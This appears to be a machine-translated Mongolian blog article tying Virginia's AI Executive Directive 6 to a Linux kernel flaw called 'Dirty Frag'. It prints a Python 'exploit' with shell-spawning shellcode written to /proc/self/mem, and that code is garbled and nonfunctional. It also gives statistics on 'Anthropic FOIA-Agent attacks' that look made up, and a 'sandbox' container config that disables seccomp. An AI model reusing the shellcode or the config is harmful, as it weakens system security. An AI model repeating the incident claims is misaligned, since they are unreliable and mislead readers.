Виржиниа мужийн захирагч хиймэл оюун ухааны гүйцэтгэх удирдамж 6-д гарын үсэг зурлаа: хиймэл оюун ухааны аюулгүй байдлын шинэ эрин үе ба бохир фраг цөмийн тэг өдрийн эмзэг байдлын аюул.
Виржиниа мужийн амбан захирагч Спанбергер хиймэл оюун ухаантай холбоотой аюулгүй байдлын асуудлуудыг шийдвэрлэх засгийн газрын хүчин чармайлтын чухал мөчийг саяхан 6-р AI-ийн гүйцэтгэх удирдамжид гарын үсэг зурсан юм. Антропик FOIA-Agent-ын муж улсад халдлага үйлдэхэд чиглэсэн энэхүү удирдамж нь хиймэл оюун ухааны технологитой холбоотой болзошгүй эрсдлүүд болон зохицуулалтын арга хэмжээ авах хэрэгцээг улам бүр ухамсарлаж байгааг харуулж байна. Технологийн мэргэжилтнүүдийн хувьд энэхүү зааврын үр дагавар болон түүний AI технологийг хөгжүүлэх, нэвтрүүлэхэд үзүүлэх нөлөөллийг ойлгох нь маш чухал юм.
Хиймэл оюун ухаантай холбоотой аюулгүй байдлын аюул заналхийлж байна
AI технологи улам бүр нэмэгдэж байгаа нь аюулгүй байдлын асуудал нэмэгдэхэд хүргэсэн. AI Herald-ийн тайланд дагуу сүүлийн нэг жилийн хугацаанд хиймэл оюун ухаантай холбоотой аюулгүй байдлын ослын тоо огцом нэмэгдэж, эдгээр ослын ихэнх нь Anthropic FOIA-Agent халдлагад өртсөн байна. AI систем дэх эмзэг байдлыг ашигладаг эдгээр халдлагууд нь өгөгдөл, системийн эвдрэл зэрэг аймшигтай үр дагаварт хүргэж болзошгүй юм.
| Ойл явдлын төрөл | Ойл явдлын тоо | Өмнөх оныхоос өсөлт |
|---|---|---|
| Антропик FOIA-Агент халдлага | 250 | 300% |
| AI систем эвдэрсэн | 150 | 200% |
| Өгөгдлийн зөрчлүүд | 100 | 150% |
Антропик FOIA-Agent халдлагууд сүүлийн нэг жилийн хугацаанд 300%-иар өссөн нь түгшүүртэй өсөлттэй байгаа нь эдгээр аюулгүй байдлын асуудлыг шийдвэрлэх арга хэмжээ авах зайлшгүй шаардлагатайг онцолж байна.
Бохир фрагын цөмийн тэг өдрийн эмзэг байдал: ойртож буй аюул
Dirty Frag цөмийн тэг өдрийн эмзэг байдал нь Линуксийн түгээлтүүдэд ихээхэн аюул учруулж, эрхгүй хэрэглэгчдэд ихэнх Линукс түгээлтийн үндсэн хандалтыг олж авах боломжийг олгодог. Hyunwoo Kim-ийн тодруулга-д харуулсанчлан Dirty Frag-ийн эмзэг байдлыг энгийн мөлжлөг ашиглан ашиглаж болох нь системийн администраторууд болон аюулгүй байдлын мэргэжилтнүүдийн хувьд тулгамдсан асуудал болж байна.
# Dirty Frag-ийн эмзэг байдлын ашиглалтын код
импортын os
# Ашиглалтын ачааллыг тодорхойлох
ачаалал = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Шинэ процесс үүсгэж, ачааллыг гүйцэтгэнэ
os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".format(payload.hex()))
💡 Key Insight: Dirty Frag цөмийн тэг өдрийн эмзэг байдал нь Линукс түгээлтүүдэд ихээхэн аюул учруулж байгаа бөгөөд системийн администраторууд болон аюулгүй байдлын мэргэжилтнүүд системээ нөхөж, шинэчлэхийн тулд яаралтай арга хэмжээ авах ёстой.
Цэгүүдийг холбох нь: AI-ийн гүйцэтгэх заавар 6 ба бохир фрагын эмзэг байдал
AI-ийн гүйцэтгэх удирдамж 6-д гарын үсэг зурсан болон Dirty Frag цөмийн тэг өдрийн эмзэг байдал нь хоорондоо нягт холбоотой. Энэхүү заавар нь хиймэл оюун ухаантай холбоотой аюулгүй байдлын асуудлуудыг шийдвэрлэхэд онцгой анхаарал хандуулж байгаа нь хиймэл оюун ухааны системийг эвдэх зорилгоор ашиглаж болох Dirty Frag-ийн эмзэг байдлын хүрээнд онцгой ач холбогдолтой юм. Dirty Frag-ийн эмзэг байдлыг арилгах замаар технологийн мэргэжилтнүүд хиймэл оюун ухаантай холбоотой аюулгүй байдлын асуудалтай холбоотой эрсдлийг бууруулахад тусалж чадна.
Бохир фрагын эмзэг байдлыг багасгах
Dirty Frag-ийн эмзэг байдлыг багасгахын тулд системийн администраторууд болон аюулгүй байдлын мэргэжилтнүүд хэд хэдэн арга хэмжээ авч болно, үүнд:
- Линукс түгээлтийн засваруудыг хийж, хамгийн сүүлийн хувилбар болгон шинэчлэх
- Эмзэг системийг тусгаарлахын тулд контейнер болон microVM хамгаалагдсан хязгаарлагдмал орчинд ашиглах
- Системийн бүртгэл болон сүлжээний урсгалыг мөлжлөгийн шинж тэмдэг илрүүлэхийн тулд хянах
# Контейнерын хамгаалагдсан хязгаарлагдмал орчинд зориулсан жишээ тохиргоо
хувилбар: "3"
үйлчилгээ:
эмзэг үйлчилгээ:
зураг: эмзэг зураг
контейнерийн нэр: эмзэг контейнер
дахин эхлүүлэх: үргэлж
аюулгүй байдлын сонголт:
- seccomp: хязгааргүй
боть:
- ./эмзэг-өгөгдөл:/өгөгдөл
⚠️ Архитектурын эрсдэл: Dirty Frag-ийн эмзэг байдлыг бууруулж чадахгүй бол мэдээллийн зөрчил, системийн эвдрэл зэрэг аюулгүй байдлын томоохон эрсдэлүүд гарч болзошгүй. Системийн администраторууд болон аюулгүй байдлын мэргэжилтнүүд энэ эмзэг байдлыг арилгахын тулд яаралтай арга хэмжээ авах ёстой.
Техникийн мэргэжилтнүүдэд зориулсан зөвлөмж
Хиймэл оюун ухаантай холбоотой аюулгүй байдлын асуудал, эмзэг байдлын цогц байдлыг зохицуулахын тулд технологийн мэргэжилтнүүд дараахь зүйлийг хийх ёстой.
- AI-тай холбоотой хамгийн сүүлийн үеийн аюулгүй байдлын асуудал, эмзэг байдлын талаар мэдээлэлтэй байгаарай
- Системийг нөхөх, шинэчлэх, контейнер болон microVM хамгаалагдсан хязгаарлагдмал орчинд ашиглах зэрэг аюулгүй байдлын найдвартай арга хэмжээг хэрэгжүүлэх
- Системийн бүртгэл болон сүлжээний урсгалыг мөлжлөгийн шинж тэмдгийг хянах
Эдгээр алхмуудыг хийснээр технологийн мэргэжилтнүүд AI системийн аюулгүй байдал, бүрэн бүтэн байдлыг хангахад тусалж, хиймэл оюун ухаантай холбоотой аюулгүй байдлын асуудалтай холбоотой эрсдлийг бууруулах боломжтой.
Эх сурвалж
- AI Herald-ийн тайлан — AI-ийн хамгийн сүүлийн үеийн мэдээ, шинэчлэлтүүд
- Hyunwoo Kim-ийн тодруулга — Dirty Frag цөмийн тэг өдрийн эмзэг байдлын ил тод байдал
- AI Weekly-ийн тайлан — AI-ийн шилдэг түүхүүд болон шууд шинэчлэлтүүд
- The World of AI's report — AI-ийн өдөр тутмын мэдээ, шинэчлэлтүүд
- Heads Up AI-ийн тайлан — Өнөөдөр чухал ач холбогдолтой хиймэл оюун ухааны мэдээ, шинэчлэлтүүд